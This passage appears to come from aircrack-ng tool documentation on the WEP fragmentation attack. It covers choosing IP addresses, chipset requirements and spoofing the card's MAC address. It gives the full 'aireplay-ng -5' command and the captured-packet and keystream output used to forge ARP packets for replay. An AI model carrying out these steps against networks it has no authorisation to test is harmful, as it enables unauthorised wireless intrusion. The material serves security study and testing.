First, you either have to use a MAC address from a client which is already associated with the AP or do fake authentication. One of the challenges is determining what IP to use in the "aireplay-ng -5" command since in theory you don't know the IP range in use on the wireless network. There are a couple of strategies that could be used. Based on the wireless access point, a good guess is the default address range for the make/model. Very few people change the default addresses. Another is to see if internal IPs leak via web servers/pages, e-mail headers, etc. You need to be innovative. Having said that, there is a trick which works on most APs. Just use an IP of 255.255.255.255. By default, aireplay-ng uses 255.255.255.255 for both the source and destination IPs. There are some hardware constraints for the fragmentation attack: * It does not support prism chipsets * Atheros chipsets: The MAC address of the card MUST be the same as source MAC address of the packets you are generating. Use your favourite method to change the MAC of your card. * It sometimes does not work smoothly with ralink. * It supports Broadcom chipsets only with the b43/b43legacy drivers, not bcm43xx. * Mac80211-based drivers (b43, rt2x00, etc) currently require a patch for the mac80211 stack. * Keep an eye on the forums for more compatibility information. Here is the command to run: aireplay-ng -5 -b 00:14:6C:7E:40:80 -h 00:0F:B5:46:11:19 ath0 Waiting for a data packet... Size: 144, FromDS: 1, ToDS: 0 (WEP) BSSID = 00:14:6C:7E:40:80 Dest. MAC = 00:0F:B5:46:11:19 Source MAC = 00:0D:60:2E:CC:E1 0x0000: 0842 0201 000f b546 1119 0014 6c7e 4080 .B.....F....l~@. 0x0010: 000d 602e cce1 1083 7214 0000 5da7 d458 ..`.....r...]..X 0x0020: 6c90 0329 12ab 3d03 c37d 600b cdac 2706 l..)..=..}`...'. 0x0030: 19c7 9253 65b3 f163 1a17 8005 04ff 961f ...Se..c........ 0x0040: 01c4 0f6a 0047 e38b cb00 c303 f805 d96f ...j.G.........o 0x0050: 6c14 2479 bb5b aae3 f5f4 4f40 fc42 d703 l.$y.[....O@.B.. 0x0060: 8d49 1b91 4d5e 0787 a737 1d18 62a2 a828 .I..M^...7..b..( 0x0070: 75ab fdbb e3c2 e276 18c9 7641 a655 a4d2 u......v..vA.U.. 0x0080: acc4 d9f9 8c1b a12b be35 99a7 b793 5bec .......+.5....[. Use this packet ? You answer "y" and then the fragmentation attack starts. Here is the output. Sometimes you need to try multiple packets to be successful. Saving chosen packet in replay_src-0113-170504.cap Data packet found! Sending fragmented packet Got RELAYED packet!! Thats our ARP packet! Trying to get 384 bytes of a keystream Got RELAYED packet!! Thats our ARP packet! Trying to get 1500 bytes of a keystream Got RELAYED packet!! Thats our ARP packet! Saving keystream in fragment-0113-170526.xor Now you can build a packet with packetforge-ng out of that 1500 bytes keystream Bingo! The file **fragment-0113-170526.xor** contains the xor file to then generate your arp packet for replay. From here, it is identical to the chopchop approach. The big challenge is knowing the IP addresses to use. As mentioned above, you need to be innovative.


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